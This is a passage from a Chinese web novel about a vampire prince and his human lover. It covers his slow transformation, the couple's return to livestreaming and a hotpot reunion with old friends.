“在工厂所在村子原址处,一个施工队挖掘出十数具十分奇特的骸骨。那些形状既不是人类,也不是任何动物,这一未解之谜热极一时,最终连答案都不了了之。唯一能确定的是——” “那些骸骨上能检测出受过化学成分腐蚀的痕迹。” 傅宴舟的手掌在掌心无比冰冷。 宁尔睁大眼睛看着傅宴舟,睫毛随着眨眼的动作大幅度抖动着。 “那是……什么?” “我不知道。”傅宴舟神色有些痛苦。 “起初没有人知道,慢慢地没有人再记得。” “但傅家记得。” 从祖父到父亲,这个噩梦始终伴随着这几位兢兢业业的企业家。往后所有的风光与财富仿佛都伴随着那场灾难。 傅家是否从一开始就染上了无辜的血,应该承受最恶毒的诅咒。 那些骸骨,那些连科学都无法鉴定的骸骨,到底是什么? “所以你始终不愿意相信有吸血鬼的存在,是因为害怕,那些无名骸骨,真的是一个个有生命的其他物种,甚至类似于人?而他们,是真正因傅家的工厂而死……” 傅宴舟敛眸,睫毛在脸上投下阴影,点了点头。 他一直在给自己洗脑,无人追查定论的,科学都无法解释的,不需要强加再自己身上。 可是祖父离世时的功过论评,父亲的早逝,哪怕埋在深处也永远会在黑暗处以恶毒谣言变本加厉复苏。 傅家靠实业起家,四代实业家的责任感,让傅宴舟无法心安理得。 他一刻不停,致力于国际环保问题,改善相关条件,也是一场漫长的自我救赎。 那、那自己的出现,岂不是彻底击碎了傅宴舟的信念? 在相信自己就是吸血鬼那一刻,傅宴舟心里会有多么痛苦震撼? “哥哥……” “对不起……” 宁尔感觉整件事已经到了他无法道歉、无法控制的地步。 “不要对不起,宝宝。” “那、那你是什么时候相信的……” 宁尔还记得,傅宴舟给他留得那封“绝笔信”里,就已经相信了这件事。 “不相信有吸血鬼,已经像信念一样根植我心。” “直到莱特出现在你身边的那一刻,我感受到了危险。” “如果能保护你,我选择毫不犹豫相信。” 宁尔的眼泪如决堤般冲出眼眶。 对傅宴舟的感情和对莱特背叛的心痛积攒起来,在没有人能看到的树上,宁尔不管不顾地呜咽起来。 他感觉自己被傅宴舟稳稳地搂在怀里,风再从周身掠过,傅宴舟身上已经不再有那熟悉的雪松香,而是和他们一样的血液的味道。 “不要难过,宝宝。一件担心了几十年的事,与其成为心病,倒不如堂堂正正接受。” “遇到你并不是我的厄运,是你,以这样的方式解救了我。” “如今的结局,还能和你并肩站在一起,我已经很知足了。” 他可能真的困在这件事里太久太久了,或者,他们。 每一声声杰出企业家的赞誉,都会以另一个低频的声音提醒着他。 宁尔的呜咽声更大了,泪水很快浸湿了傅宴舟的衣襟。 傅宴舟低头吻了吻宁尔的额头: “傅童的父亲会回来管理盛景,这些年他在国外的业绩有目共睹。所有的环保项目我也已经设立了基金会。未来的几十年甚至百年,都会持续供给。” 傅宴舟手掌抚上宁尔的后背: “以后,运气好的话,我们还可以偷偷在夜里溜回人类世界。” “宝宝,从明天开始,哥哥也许就能和你一起飞了。” 宁尔吸着鼻子,泪眼朦胧地抬起头: “转化才不是一下子就能成为高级吸血鬼呢,会很弱小。我的基因能力又弱,怎么保护你呢?” “哥哥继续保护你啊。” 宁尔睁大了眼睛,傅宴舟帮他擦去眼泪: “哪怕成为吸血鬼,哪怕短暂意识不清,只要你我身边,为了保护你,我一定会很快强大起来。” “哥哥答应你的事,不是都做到了吗?” “此刻,不是也陪你一起看了‘家乡’的星星。” 宁尔看着傅宴舟认真的眼睛,他从未见过这么自大的人类。 他从未和一个人……或者鬼,为彼此有过这么不惜代价的付出。 宁尔止住了哭泣,他认真地看着傅宴舟的眉眼,仿佛想把他最后一刻作为人的样貌牢牢地记在心里。 宁尔点起脚尖,用冰凉的唇一点点啄吻着傅宴舟。 傅宴舟闭眼,用心地回应着这个星光下的吻。 他们一直在夜色里继续游荡,直到宁尔收到父亲的消息,告诉他傅宴舟的身体不能在外逗留,必须马上回静室,宁尔才依依不舍地背着傅宴舟回去。 他轻手轻脚地从后门进去,昏暗的走廊里空无一人,宁尔一直把傅宴舟送到静室门口。 傅宴舟站在门口开玩笑: “不进来坐坐吗?” 宁尔摇了摇头: “静室,除伤者外不可以进入。” 傅宴舟的手放在门把手上“哦”了一声,宁尔看不清他的神情。 “那……明天见?” “好,明天见。” “等一下。”宁尔忽然想起了口袋里的糖,差点忘记给傅宴舟。 他把手伸进口袋里,抓起来,一把全部塞在了傅宴舟手心里。 “甜的,吃了,会不那么疼。” 傅宴舟愣了一下,看着那些精美的包装: “这里也有糖?” 宁尔皱了皱眉: “我是尊贵的吸血鬼殿下,当然可以弄到了啊。” 傅宴舟想起宁尔在人类世界时候,什么都没吃过,什么都小心翼翼尝尝,然后露出无敌美味的表情,笑意忍不住更深。 这东西应该并不好得到,哪怕他是王子。 他先拆了一颗糖果,喂到了宁尔口中,然后才拆了一颗,自己放在嘴里。 “嗯,很甜。” 宁尔也感受了一下糖果的味道,确实很甜。 静室的钟声传来,门自动打开,宁尔不得不往后退了一步。 尽管再不舍得,他还是朝傅宴舟挥了挥手,又说了一次: “哥哥,明天见。” “嗯,明天见。” 傅宴舟转身,手掌重新放在门把手上,拉开木门转身的一刹那,傅宴舟忽然叫住了宁尔: “宁尔。” 傅宴舟站在门边,眉宇温柔,墨瞳如星辰: “我爱你。”—— 作者有话说: 啥都不说了,评论红包掉落随礼了—— 第75章 (都来看) “哥哥什么不行?…… 糖果的外壳恰好在口中融化, 瞬间的酸意流淌在口腔鼻腔里,酸得宁尔甚至想流眼泪。 从前在人类世界意气风发,优雅矜贵, 用宝石和金钱来堆砌身份与爱有关的一切的总裁—— 此刻在一身黑袍身无长物, 以人类的身份站在吸血鬼世界里, 在可能失去理智的前一刻,温柔而坚定地对自己说, 我爱你。 宁尔看着傅宴舟, 一晚上哭过多次的眼尾泛红, 精致苍白的脸上残留着两道泪痕, 精致的脸蛋皮肤苍白, 原本泛白的嘴唇被自己咬得殷红。他轻轻张了张嘴想要说什么,嘴唇在瘦削的脸庞上轻轻颤抖着。 在穹顶高大的城堡内, 两个人之间的距离不五步之远。 宁尔身侧的手指也跟着嘴唇一起颤抖起来,抖动地频率也越来越高。 棕色的卷发下,那双澄澈如琥珀般的绿色瞳孔,仿佛第一次这么复杂地看向自己。 宁尔颤抖着嘴唇,深深地看着傅宴舟的眼睛, 声音颤抖: “我……我” “我不想让你离开,哥哥……” 近乎呢喃和祈求的声音从宁尔的喉咙里发了出来,傅宴舟感觉心里被狠狠攥了一下。 “嗒——” 他忽然反手把静室已经自动打开的门关上,三两步走到宁尔面前,打横把抱起来往外走去。 宁尔结结实实懵了一下, 但还是动作很诚实地双手牢牢抱住傅宴舟的脖子。 “哥、哥哥你干嘛……” “送你回去。” “你、你放我下来吧, 这就是我家,我自己回卧室就好。” “无论从前,还是以后, 永远只能是我送你回去。” 宁尔被傅宴舟稳稳地环抱在有力的臂膀里,在宁尔的指引下很快来到了宁尔自己的卧室门前。 门前的两名侍卫看到这副情景,神色一时间紧张起来,不知道该怎么办。 宁尔脸羞得发红,嘟囔着说了一句“退下”,侍卫就都识趣地离开了。 傅宴舟推门进去,宁尔的卧室穹顶高耸,四方窗格透着夜色的幽黑,棕色的地毯长毛柔软,整个卧室的装饰都是随意被宝石堆砌的装饰,卧室中央是一张洁白挂着帷幔的大床。 宁尔被傅宴舟放在床上,帷幔被傅宴舟解开半帘,脸上红晕未散地看着身上的男人。 “哥哥,到、到了、你可以回去了……” 他心跳得极其快,在傅宴舟注视下话都说不连续。 下一秒,傅宴舟便把一条腿跨跪在床上,欺身而上,吻上了宁尔的唇。 柔软的大床让宁尔放下了一切戒备,久违又熟悉的姿势感觉,瞬间点燃了身体本能的情欲。 宁尔的口腔被傅宴舟的舌头侵略着,柔软丝绸的白衬衫在床上一滑,露出一截细白匀称的腰身。 宁尔用力地推傅宴舟,终于在几乎被吻得窒息的时候停下来,浑身难受地喘气道: “哥哥,别再逗我了,你该回去了……” 傅宴舟拉住宁尔的手,按在他坚实的胸膛上,宁尔能感受到那颗心跳地有多快。 “逗你?逗你什么?” 睁眼都是再熟悉不过的布置,想到这是在城堡里,自己的卧室里,宁尔的脸红得像熟了一样: “哥哥你的身体……你的身体不行……” 宁尔的意思本来是傅宴舟此刻还需要治疗,却不知道傅宴舟理解成了什么,他眼神一凛,直接压在了宁尔身上: “哥哥什么不行?” 宁尔衬衫的系带被彻底扯松,从皮肤上滑下…… …… ……- “感谢葡萄冰沙送来的大火箭” “谢谢小橙子送来的嘉年华谢谢橙子” “哇~小安安安安你又连大火箭,破费啦~” “谢谢魅魔小耳朵的追随者送来的热气球谢谢……” 宁尔坐在电脑前,努力盯着屏幕,各种礼物眼花缭乱地让他谢了十几分钟都谢不过来。 今天是他复播的第一天,火爆程度超乎想象,一个多小时了在线人数还有10w+。 耳麦里传来春风与你皆过客急促的声音: “别谢了别谢了大少爷,该回答下一个问题了。我这语音房能不能起死回生就看你了。” “哦哦好,回答问题。” “下一个问题是……消失的这几个月有没有过退网的念头……” 宁尔微微停滞了一下,抬头看着屏幕,画面里的他也一头棕色卷发,身上一件柔白色丝绸衬衫,胸口戴着玫瑰胸针,宝石般绿色的眼眸轻轻凝滞,盯着屏幕,温柔的眼神里好像有一种说不出的忧伤愁绪。 整个评论区瞬间又变成了“啊啊啊啊啊帅成啥样了。” [宝宝宝宝你别皱眉] [这个问题不想回答就别回答了,别难过啊啊啊啊] [说什么取关都是假的,现在发现取关也想看哭泣/哭泣/哭泣/] [就这么原谅了小耳朵,是不是太轻易了?] [朕与嬛嬛,何曾有过嫌隙?] 宁尔看着评论区,又感动又想笑,眉头在情绪起伏之间一紧一舒,努了努嘴,真诚地看着屏幕里的自己,又好像在透过自己看向好多好多他看着他的观众。 “我……我只是害怕过会回不来,但从来没有想过要主动离开。” “只有我能有一点办法,就一定会回来。” 他对着摄像头眨了眨眼: “现在,不是回来了吗?” [宝宝保持一下这个角度在截图] [我直接全程录屏一秒都不想错过。宝宝可以授权切片吗?] [萌化了这个小耳朵宝宝] [那你还会离开吗?还会一声不响地离开吗?] [你知道不知道大家有多担心你?你的做法对所有喜欢你的人负责吗?] [楼上别这么冲好不好?耳宝一定是有他自己的难言之隐,等会儿把人气走你就高兴了。] [耳宝你别往心里去,大家就是太担心你了。你消失的日子里,我们从等待到担心,甚至连那些非常离谱的传言都相信了。] 宁尔有些愧疚地苦笑了一下,他刚刚看了手机里铺天盖地的链接。 有的说已经被傅宴舟甩了,他觉得伤心又丢人,所以直接退网了。 有的说他们是和平分手,傅宴舟给了宁尔一大笔钱,让他以后不可以在出现在公共视野中。 还有更离谱的猜测,说傅宴舟其实是有恶趣味的变态,把宁尔带到了一个岛上关了起来,甚至已经把他杀害,尸体都扔进海里了。 宁尔眨了眨眼,声音更软萌了一点: “是我做得不好啦,宝们别生气啦~” “我会尽力补偿大家的,左上角的福袋你们先去领一下。” 从开播到现在,左上角5万的人民币福袋连续没停过。 “除此之外,我还会给大家送10000张签名拍立得照片,10000份专属定制视频,10000封手写信,1000个辣舞视频,500个禁忌蕾丝变装露腹肌视频……” “不行露腹肌这个不行……” 宁尔照着春风与你皆过客给的“补偿清单”一个个念,越念越脸红。 “除了最后一个,其他的我都可以做到的。” “或者还有其他补偿,能做到的我都会做到。” 宁尔看着屏幕,清澈的眼神里满是真诚,和再度能回归坐在这里的喜悦。 [好了好了,回来就好,回来就好。] [耳宝的性格我们都知道,他这么做一定是有自己的难言之隐的。] [是啊是啊,我们只看到他离开的突然,没有看到他为了回来背后的困难和做的努力啊。] [耳宝,你的平安健康对我们来说就是最好的礼物。] 宁尔之前暗暗发誓不能再做小哭包了,可是此刻一人一个简单的句子,又把宁尔弄得鼻子发酸。 他偷偷伸手抹了抹眼角,皱了皱鼻子,眼尾泛红,深润的眼睛水光清亮,惹得评论区又是一阵怜爱。 [呜呜呜宝宝别哭ww] [啊啊啊啊啊真的要疯了,美人落泪不过如此吧] [你有这么伟大的脸进入直播界] [看你哭我也想哭了,又是为这个男人流泪的一天啊] [都别哭了吖,等会儿舟哥以为咱们欺负小耳朵了。] 这句话一说完整个评论区瞬间都沉默了一下。 10w+的在线人数,除了不停飘过的礼物特效之外,没有一个人说话。 麦里的春风哥干咳了一声,语气不自然道: “小耳朵,接着回答下一个问题吧。” 宁尔歪着头,看着提到“舟哥”之后这诡异的沉默,小声问春风哥: “怎么了?” 春风和小耳朵连的是私麦,是在指导帮助他复播,只有小耳朵能听到他的声音。 春风也沉默了一会儿,还是开口道: “小耳朵,有个问题……我不知道该不该问。” “你问吖。” “额……你和舟老板,还联系过吗?” 联系过? “为什么要这么问?” “是这样的……” 春风不知道宁尔这几个月跑到哪里去了,傅宴舟给的消息是去国外留学进修,但显然包括他在内的所有观众粉丝,几乎没有人相信这个说法。 他更倾向于猜测小耳朵老家出了什么事,他回到了一个比较偏僻闭塞的地方,甚至都没怎么上网。 “你不在的这段日子里,舟老板好像也没有出现过在A市,甚至好像不在国内。” “虽然有很多离谱的谣言,但我听说,盛景官方给出的说法是舟老板出国了,并且好像在国外定居了,还结婚生子了,还有照片为证!” “结婚生子了??” 宁尔不由地睁大眼睛,一时间音量也没控制好,整个直播间都听到了。 春风下一秒就发来一张照片,照片上是一个穿着男人的侧脸,他正在一个灯光昏暗的别墅院子里,似乎是在进行一个聚会,照片的环境和其他人确实是国外。 男人的侧脸乍一看和傅宴舟有七分相似,手上还牵着一个很小的小孩。 傅童。 牵着他的人,应该是傅童的爸爸,傅宴舟的哥。 “……” “春风哥,这个小孩的个子,像是刚刚结婚生的吗?” 春风:“那你先别管。” “……” 宁尔苦笑着摇了摇头,再抬头看弹幕,大家已经猜到他在说什么了,也知道这是一个不可能绕过的话题,于是都纷纷开始问道: [耳宝,你和舟先生,真的分手了吗?] [如果你不愿意说就别说哈] [对对对,如果你不愿意提,只有你一声令下,这个直播间里就不会再出现“舟”这个字。] 宁尔看着那个ID眨了眨眼: “这么厉害吗小安宝?” 小安安安安:[……这句是吹牛逼的。] [但无论怎么样,无论发生了什么事,我们永远都是你这边的。] [对!天下男人千千万,错过小耳朵是他自己的损失!] [素嘟素嘟,他只是姐磕cp的素材,耳宝才是真爱。] [唯粉yyds!!] 宁尔看着满屏幕的评论,大家应该是都看了关于傅宴舟出国定居的消息。 再加上宁尔这么久没出现,按照正常逻辑,很难不猜测是他们分手了,而且宁尔还是弱势的那一方。 宁尔轻轻叹了一口气,正想着要从哪里开始解释,忽然感受到有风从门口进来。 宁尔转头,录音房的门被人推开,宁尔赶忙摘下耳机,有些惊讶道: “哥哥,这么快就处理完事情了吗?” 傅宴舟刚刚脱掉大衣,黑衬衫周身带着寒意,浓密的黑发间还残留着白色的雪花。他耸了耸肩: “没有,积压地太多,一时半会儿处理不完。” “那、那你怎么这么早就回来了?” “想你了。” 傅宴舟低哑的语气真诚,顺势摘掉金丝框眼镜放在桌子上,眼神暧昧地看向宁尔的脸。 宁尔稍稍往后退了半步,轻咳了一声: “我们才分开几个小时……” 果然,下一秒,傅宴舟就用手捧起了宁尔的脸,不由分说地吻在了他的唇上。 “哥……唔……在直……” 摄像头还开着,宁尔猛地睁大眼睛,嘴巴已经被傅宴舟堵地说不出话,他努力伸手想去关掉电脑,却被傅宴舟误会了意思—— 宁尔被傅宴舟抱在了桌子上,双手被迫向后撑,整个人被傅宴舟搂抱着,唇齿间动情地交换着冷热气息,唇瓣焦灼在一起。 两张鼻梁高挺的侧脸无比英俊精致,纤长的睫毛颤动,脸颊肉眼可见地的泛红起来,喉结跟随着喘息上下滑动…… 这个长达一分钟的拥吻结束,宁尔整个人几乎都懵了。 傅宴舟扬了扬嘴角,又在他的额头上吻了吻,转头,看着屏幕道: “这个回答,可以吗?”—— 作者有话说: “……”指路评论区。 没有省略正式内容,分隔符后面用了倒序,下一章大结局关于为什么又回到了人类世界都会解释清楚的! 第76章 《吸血鬼饲养指南》 [啊啊啊啊啊啊啊啊] [啊啊啊啊啊啊啊啊] [啊啊啊啊啊啊啊我疯了我疯了我疯了] [是接吻吧是激吻吧是湿吻吧是拥吻吧] [甜地我飚眼泪嗷嗷嗷嗷嗷嗷] [有生之年能看到直播接吻我的天呐。磕上你们是我的福气] [这个主播是谁啊?审核不管吗?这举报一手不得喜提封号半年吗?] [可能会先封你半年] [耳宝亲亲的样子也太漂亮了吧我的天呐, 这睫毛是人类能有的长度和弧度吗?] [傅总也太会太苏了吧天呐] [傅总就是男菩萨] 宁尔看着弹幕飞快过去的评论,脸像红透的柿子,再出现在画面里时候又被一通讨论。 这是他复播的第一天, 很多粉丝观众都在录屏, 也就是说, 刚刚他们激吻的会永永远远流传出去被一遍又一遍播放。 “你故意的?”宁尔撅起小嘴,后知后觉地质问傅宴舟。 傅宴舟拉了一把椅子坐在宁尔旁边, 手自然而然地搂在宁尔腰上, 拿起一旁的金丝边眼镜戴上, 优雅地推了推镜框, 英俊的脸上一副餍足的懒散。 他看着一众弹幕里“啊啊啊”过去的几个问题, 没等人cue就自己回答: “我和小耳朵没有分开过。这几个月里我们一直在一起。至于在哪里,抱歉, 还是要保持一些神秘。” “没有结婚,没有生子,网络上传言的那张照片是我的哥,之后我会联系发布者澄清。” “消失的补偿……大家这段时间可以关注一下小耳朵直播间的抽奖,我会加倍送上。” “好久不见……好久不见。我和小耳朵一样, 很想你们。” 宁尔目瞪口呆地看着傅宴舟,他是看过自己多少场直播,这些术语都运用自如,坐在镜头前自然地像个十分成熟的主播。 傅宴舟游刃有余回答完了各种问题,连最挑剔的弹幕都找不出任何问题。 谁会质疑一个抽奖抽汽车、珠宝、现金、奢侈品宝宝的专一宠妻总裁主播呢。 评论区的氛围很快从声讨变得其乐融融, 不知道谁先提了一句“怎么感觉舟老板长得越来越像小耳朵了”。 [我也觉得我也觉得!] [同感!说不出来哪里变化了, 但就是很像!] [皮肤变白了,嘴唇变红了,耳朵变尖了, 瞳孔的颜色也变浅了……] [牛啊姐妹!!] [傅总……难道是化妆了?] [不太像……应该是因为情侣亲亲多了就会越长越像吧?] [好家伙那这得亲了多少……] 宁尔眼见众人的注意力还是来到了这个话题,感觉干咳一声打断了话题,转移回大家的注意里,又聊了一会儿之后先下播了。 下播之前再三和观众以及春风哥保证,明天一定准时上播,不会再消失了。 电脑一关机,傅宴舟又迫不及待地去亲宁尔。 在吸血鬼世界的时候不分昼夜腻在一起,今天回到人类世界反而分开了一下午,傅宴舟从傍晚就开始心不在焉想宁尔。 宁尔左躲右躲,还是被他亲到一会儿。 亲完之后宁尔绷起小脸,神色严肃“教育”傅宴舟,直播是公共平台,以后不许在屏幕前做这样那样的事。 吸血鬼主播给自己头头是道地讲人类的规则道理,傅宴舟看着他认真的小脸,十分敷衍地嗯了几声,脑子里只有“老婆今天怎么更可爱了”。 宁尔看傅宴舟这样,也不知道他听进去没有。 他无奈地站起来,晃了晃傅宴舟的手臂: “该喝药了。” 傅宴舟很配合地起身,没有任何犹豫: “好。” 两个人一起往去楼下客厅,宁尔偷偷皱了皱眉,那药他偷偷喝过一口,苦得他眼泪都掉下来了。 宁尔帮傅宴舟把药袋从冰箱里拿出来,撕开口,有些犹豫地递给傅宴舟。 傅宴舟笑了笑,伸手接过来,表情平静地像喝牛奶。 只有在宁尔仔细观察时候,才会发现他的眉头在轻微跳动。 前不久,直到傅宴舟接受转化仪式的前一刻,宁尔才告诉所有人,他要选择第三种方式。 伊极大陆正派的药剂师做不到,被抓的迪恩却可以。 他可以研制出一种能够延缓时长,将人类用缓缓变成吸血鬼的药物,这个时间至少是十年,也可能更长。 这一过程中,傅宴舟仍可以不畏阳光,像往常一样,以正常人的身份生活在人类世界。 但代价是宁尔必须要在药剂中辅以自己的鲜血,才能中和各种对傅宴舟这具人体有害的毒素。 宁尔的基因天赋本就不高,长期血液流失,最终体能综合素质也会下降,变成一只最最普通弱小的吸血鬼。 宁尔坚定地选择了这个办法,并且只告诉了傅宴舟需要喝药,缓缓变成吸血鬼的事情。 傅宴舟喝完药,又喝了一杯白水,不动声色地轻咳了一声。 “宝宝,什么时候去看陈元之和靳伟?我刚刚在直播间观众里看到陈元之了。” 宁尔的眼神猛地亮了起来,神色却又瞬间黯然下来,别扭地将脑袋转到一旁。 他当然看到元之进了他的直播间。 在他消失的这段时间里,元之和靳伟给他打了N个电话,发了无数消息。 后来傅宴舟替他报过平安后才稍好一些,但陈元之好像把他的消息栏当成了日记本,尽管没有得到回复也会有一句没一句地发。 宁尔偏转过脑袋,沉默了很久: “我已经,发过消息了。” “见面的话……” 宁尔抬头,漂亮忧伤的眼睛看着傅宴舟,吸了吸鼻子: “哥哥,我觉得就没有必要再见面啦。” “我本来就是一只吸血鬼,当年为了存活下来一直跟在他们身边,一直在骗他们……” “现在……我有能力了,也不需要再骗他们,我也骗不了他们了。” “你怕,他们知道你是吸血鬼之后有异样反应?”傅宴舟问。 宁尔缓缓地点了点头。 虽说缔结过和平条约,但人类对于吸血鬼这个物种始终是害怕甚至嫌恶的。 想起傅柏当时恶狠狠地警告自己离傅宴舟远一点,他的反应代表了人类最真实的反应。 他害怕,害怕在靳伟和陈元之眼里也看到那样的眼神。 他也记得,每次和他们坐在一起吃饭,宁尔都得拉着窗帘阻挡阳光时,靳伟不适的表情。 就让一切,都停留在彼此的好印象里吧。 “可他们是你的朋友。”傅宴舟道。 言外之意,哪怕有再多人类害怕他,朋友又怎么会这样做。 宁尔的笑意更苦了,苦地他两条眉毛都皱了起来,声音几不可闻: “朋友……莱特也曾经是我的朋友……” 事情已经过了几个月,可每每想起莱特的背叛,宁尔心里就像被攥着一样疼。 从小到大的挚友,尚且会因为知道身份后想置他于死地,更何况是只认识两年的人类呢。 两年,无论对人对鬼,都不算久。 宁尔觉得,他已经没办法再用“友谊”的名义,去相信两个人类了。 “去亲自看看吧,宝宝。”傅宴舟声音很沉稳。 宁尔听着这句耳熟的话,想起来之前他说爸爸妈妈不要他了,不敢回家时,傅宴舟也是这么告诉他的。 宁尔看着傅宴舟的眼睛,反驳的话一时间说不出口。 傅宴舟是亲眼见证他被“朋友”伤害多深的人,现在还能劝他去勇敢面对…… 仿佛再多怀疑和不确信,在傅宴舟的坚定和依靠前,就也没那么可怕了。 宁尔张了张嘴,还没说什么,傅宴舟就道: “明天又是元旦了,你们不是约好过,每年元旦都要在一起吃火锅?” 春去秋来,从去年和傅宴舟刚刚在一起,但在吸血鬼世界里度过的日子,不知不觉已经过了一年。 “那、那……” “不用在这件事上费脑子,我去约。” “地点他们家或者我们家都可以。” “火锅的食材按照你喜欢的,再多加鸭血。” 傅宴舟三言两语把事情安排明白,宁尔有些不好意思地挠了挠头: “那我、我在什么事上费脑子?” 傅宴舟低头,嘴凑到宁尔耳边,认真道: “想想今晚用什么姿势。” “……” 宁尔条件反射想跑,被傅宴舟直接捞回来打横抱起来。 他整个人伏在傅宴舟肩膀上,脸憋得通红,怎么挣扎都无济于事。 这个人本来身体素质就极强,逐渐向吸血鬼转化的过程中,体力更是吓人…… “放、放开我哥哥……” “我还没洗澡……” 傅宴舟把人又往紧抱了抱,上楼直接调转方向往浴室走去: “刚好一起。”- 劳斯劳斯停在公寓楼下,发动机一直保持着均匀的响声,车内的暖意始终没有让窗上结霜。 宁尔从车窗里看着楼上亮着的灯,犹豫了又犹豫,最终打开车门下去。 傅宴舟还在公司,说等会儿才能过来。 宁尔按了电梯楼层,电梯刚停下,入户门就被打开了。 陈元之穿着一件松松垮垮的毛衣,头发微卷,嘴里含着牙刷,满嘴沫儿,看着是宁尔,含糊地说了一句: “来啦。” 宁尔被忽然开门吓了一下,往后稍微退了退,脸色有些尴尬,点了点头: “嗯。” 陈元之探出头看了看: “东西忘带了?”陈元之嘴里继续含糊。 “什、什么东西?” “家里大葱用完了,傅总说让你顺路带来。” “他、可能忘记告诉我了,没关系我现在去买。” 宁尔转身就想下楼,却被陈元之拉住胳膊,牙膏沫险些飞溅在他身上: “叫个外卖得了。” 宁尔被他拽进屋,一进去就闻到一股扑鼻的火锅味儿,桌上的鸳鸯锅一半儿菌汤一半儿红油,随着蒸腾的热气散发着香味。 比起火锅更吸引他的是放火锅的桌子。 一众崭新高档的简约欧式家居风里,那张棕色的旧木长桌显得格格不入。 那是之前他们租的房子里的桌子。 靳伟正在厨房切菜,听到动静拿着菜刀就从厨房出来了。 半年没见,他整个人肌肉更健壮了一些,面色沉郁,手里拿着菜刀,吓得宁尔下意识往后躲了一步。 靳伟看到他躲的动作,有些疑惑地全身上下看了看自己。 陈元之吐掉了漱口水,在身后大声提醒: “菜刀,菜刀吓到小耳朵了。” 靳伟无奈地放下菜刀撇撇嘴: “菜刀不是为了给他切糖拌西红柿?小白眼狼。” 宁尔眼睛一亮: “你做了糖拌西红柿吗伟哥?” 他从前最喜欢吃这个,尤其喜欢喝汤。 因为西红柿的汁液是红色的,还甜甜的。 靳伟撇了撇嘴: “在厨房。我做了两盘,西红柿多的那盘大家一起吃,汤多的那盘你现在可以去喝。” “谢谢阿伟哥哥,阿伟哥哥最好了~” 宁尔几乎肌肉反射地自然说出这两句话,丝毫不记得几分钟之前自己还在犹豫还能不能继续和他们做朋友…… 他说完这两句之后三个人都沉默了下来,宁尔有些尴尬地摸了摸鼻子,轻咳了一声,正要找补说点什么,靳伟拍了拍他的后背: “先洗手再吃。” “桌子下面有薯片,是你最喜欢的鸭血粉丝味儿。” 宁尔看着靳伟毫无波澜的“面瘫”脸,紧绷的神经彻底松下来,乖乖去洗手拿薯片吃。 他晃悠到厨房,靳伟正在卸一只比他脑袋还大的螃蟹,螃蟹还没死透,张牙舞爪。 “哇,伟哥锻炼身体呢~” 靳伟无奈地看了他一眼: “还不是你男朋友非要送来吃的。” 宁尔吐了吐舌头,装模作样: “要不要我帮忙呀?” 靳伟一眼看透了他,把帝王蟹翻了个身: “你不添乱就是最大的帮忙,出去等吃饭吧。” 宁尔又嚼了一口薯片,眼睛一弯: “好~” 他又晃悠到陈元之的书房,将近两百平的大公寓,陈元之终于有了自己独立的“电竞房”。 他把房间布置地很精致,设备直播道具一应俱全。 陈元之刚刷完牙又趴到电脑前打开了一款枪战游戏,宁尔站在他身后: “要吃饭了元之。” “知道知道,我就上来领点东西,平时每天晚上直播我都没时间打游戏。” “你现在,又开始直播了吗?”宁尔有些惊讶,眨了眨眼问到。 陈元之上次网恋奔现失败受得打击不小,从那时起到宁尔离开,他也一直没有复播,还扬言以后再也不播了。 陈元之耸了耸肩,手上边飞快鼠标边道: “播呗。” “你老公这房子,租金和物业费都不低。不直播赚钱我俩得喝西北风了。” 宁尔脸红了红,想到当时他们救了傅宴舟之后,陈元之要了一个有零有整的数。 “元之,你的钱,是不是都给家里了?” 宁尔问出口,陈元之停顿了一下,无所谓道: “啊,反正把我老子欠的赌债还清了,省得他每天说我生下来就是欠他们的。从今以后各过各的,终于轻松喽。” 陈元之手上鼠标还不停,宁尔想到元之爸妈对他的不好,还是有些唏嘘难过。 陈元之感受到了宁尔的情绪,最后一个宝箱领完,放下鼠标伸了个懒腰: “行了,托你的福,哥涨粉很快,现在直播事业有声有色,风生水起。” 宁尔点了点头,真诚地发问: “那你现在还网恋吗?” 陈元之像拎小鸡一样一把抓住宁尔的后颈: “我说你现在怎么这么会补刀呢?” 宁尔被捏住了命运的后颈,赶紧眨着眼睛卖萌示弱。 陈元之本来就是个颜狗,宁尔尖尖的小脸上那双绿色的漂亮眼睛朝他一眨,瞬间什么气儿都消了。 宁尔被他松开,有些后知后觉地发懵,自己都已经恢复吸血鬼身份了,怎么还这么软弱被人类拿捏。 恨。 磨牙。 陈元之没注意宁尔的面露凶相,无意识往房间门口看了看,屋外隐约传来靳伟剁螃蟹的声音,他挠了挠头发: “网不网恋的吧……我觉得现在这样的日子就挺好的。” 宁尔认真思考了一下: “是和伟哥住在一起的日子吗?你们在一起很多年了吧?” “十四年。”陈元之难得没再纠正他的用词。 宁尔还想再说什么,屋外靳伟就叫他俩吃饭。 各式各样精致的海鲜肉菜切盘摆净,铺满了一整个长桌,中间大锅咕嘟咕嘟冒着香气,旁边是一盆和锅差不多大的鸭血。 三个人都准备好围在桌边,陈元之问: “傅总还不能来吗?” 宁尔拿起手机看了看,傅宴舟的消息正好过来: “他说有一个紧急的临时会议,让咱们先吃,晚点过来接我。” 陈元之和靳伟起初还假客气,三个人坐在一起干瞪眼等了一会儿,最终终于忍不住,肉一下锅开涮。 红油在锅中翻滚,辣椒与花椒的香气蒸腾而起,像是把整个冬日的烟火气都浓缩在了这一锅中。 鲜切的吊龙烫一会儿就熟,靳伟和陈元之捞了一些,宁尔照例不吃。 等红油锅煮得足够香的时候,靳伟用漏勺盛了大半盆缓缓滑入红汤,鸭血在沸腾的锅底中瞬间锁鲜变为褐色。 其实这么多年血包宁尔也吃腻了,直到来到人类世界他才知道鲜血还可以放在鲜香麻辣的锅里煮。 一月的天气已经大寒,窗户上结着一层微薄的白霜,围坐在桌边很快热了起来。 靳伟打开几罐冰啤酒,又特意给宁尔开了一瓶香槟,瓶瓶杯杯端起来碰在一起,没一会儿就都有些微醺的感觉。 酒精让宁尔大脑逐渐放松,靳伟和陈元之七上八下涮了会儿毛肚,两罐啤酒都见了底,三个人一时间谁都没有说话。 宁尔沉默了一下,放下手中的碗,擦了擦嘴,开口道: “伟哥,元之” “过去这几个月,其实我……” “哎哎哎”没等宁尔说完,陈元之忽然开口打断了他: “你就直接说,你遇到的事儿应该解决了吧?” 宁尔有些发懵: “什么意思?” “我们不关心你这半年跟谁去了哪儿,但你这么久没个音讯,一定是遇到事儿了,所以,还顺利吗?” 宁尔惊讶地看着陈元之,他好像也变了个人似的。 以前风吹草动,就连宁尔多喝了一杯奶茶他都会八卦地问清楚是哪儿来的为什么要喝奶茶。 这次他消失这么久,元之竟然一点都不好奇。 宁尔又认真盯着陈元之和靳伟看了看,发现他俩真的没有任何问的意思,心里偷偷松了口气: “我……事情都解决了,一切顺利。” 靳伟和陈元之点点头,又继续七上八下涮毛肚了。 